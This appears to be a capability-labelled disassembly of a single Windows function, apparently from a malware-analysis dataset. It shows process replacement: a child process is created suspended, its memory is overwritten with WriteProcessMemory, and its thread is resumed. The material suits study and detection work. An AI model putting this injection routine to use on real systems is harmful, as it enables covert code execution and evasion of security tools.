Function at 0x402eda
Capabilities:
Create process on windows
Create process suspended
Create thread
Resume thread
Terminate process
Use process replacement

Disassembly:
push 0x180
push 0x403ca0
call fcn.00401519
xor esi, esi
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x3c], esi
mov eax, dword [0x40505c]
mov eax, dword [eax + 0x34]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x40], esi
mov dword [ebp - 4], esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
xor ebx, ebx
inc ebx
push ebx
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0x38], eax
cmp eax, esi
je 0x4030f4
push 0x44
pop edi
push edi
push esi
lea eax, [ebp - 0x8c]
push eax
call fcn.00403805
mov dword [ebp - 0x8c], edi
xor eax, eax
mov word [ebp - 0x5c], ax
mov dword [ebp - 0x60], 0x181
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x24], esi
je 0x402f67
push 0x104
lea eax, [ebp - 0x190]
push eax
call fcn.00402d08
test eax, eax
jne 0x402f74
push ebx
lea eax, [ebp - 0x190]
push eax
call fcn.0040313f
cmp dword [ebp + 8], esi
je 0x402ff5
lea edi, [ebp + 8]
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x44], esi
lea eax, [ebp - 0x20]
push eax
push ebx
push esi
push esi
push 0x2000000
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_DuplicateTokenEx]
test eax, eax
je 0x402faf
push 4
lea eax, [ebp - 0x44]
push eax
push 0xc
push dword [ebp - 0x20]
call dword [sym.imp.ADVAPI32.dll_SetTokenInformation]
lea edi, [ebp - 0x20]
push esi
push dword [edi]
lea eax, [ebp - 0x40]
push eax
call sub.USERENV.dll_CreateEnvironmentBlock
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x8c]
push eax
push esi
push dword [ebp - 0x40]
push 0x404
push ebx
push esi
push esi
lea eax, [ebp - 0x190]
push eax
push esi
push dword [edi]
call dword [sym.imp.ADVAPI32.dll_CreateProcessAsUserA]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x20], esi
je 0x403018
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x403018
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x8c]
push eax
push esi
push esi
push 4
push ebx
push esi
push esi
lea eax, [ebp - 0x190]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x24], esi
je 0x403042
cmp dword [ebp - 0x1c], esi
je 0x403096
push esi
lea eax, [ebp - 0x190]
push eax
call fcn.0040313f
push esi
push dword [ebp - 0x34]
lea eax, [ebp - 0x190]
push eax
call fcn.00402dc8
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
cmp eax, esi
je 0x4030f4
cmp dword [ebp - 0x24], esi
jne 0x403057
mov eax, dword [0x40500c]
push esi
push 0x80
mov ecx, 0x405080
push ecx
sub eax, dword [0x40500c]
add eax, ecx
push eax
push dword [ebp - 0x34]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
cmp dword [ebp - 0x24], esi
je 0x4030be
push esi
lea eax, [ebp - 0x1c]
push eax
push esi
push esi
mov eax, dword [0x40505c]
push dword [eax + 0x34]
push dword [ebp - 0x34]
call fcn.004032c0
cmp dword [ebp - 0x1c], esi
jne 0x4030c7
cmp dword [ebp - 0x34], esi
je 0x4030ae
push esi
push dword [ebp - 0x34]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push dword [ebp - 0x34]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 0x30], esi
je 0x4030f4
push dword [ebp - 0x30]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x4030f4
push dword [ebp - 0x30]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
cmp dword [0x405074], esi
jne 0x4030e9
lea eax, [ebp - 0x48]
push eax
push esi
push dword [ebp - 0x34]
push fcn.00402e38
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 0x3c], eax
jmp 0x4030f4
push dword [ebp - 0x34]
call fcn.00402e38
mov dword [ebp - 0x34], esi
or dword [ebp - 4], 0xffffffff
call fcn.0040310a
mov eax, dword [ebp - 0x1c]
call fcn.00403469
ret 4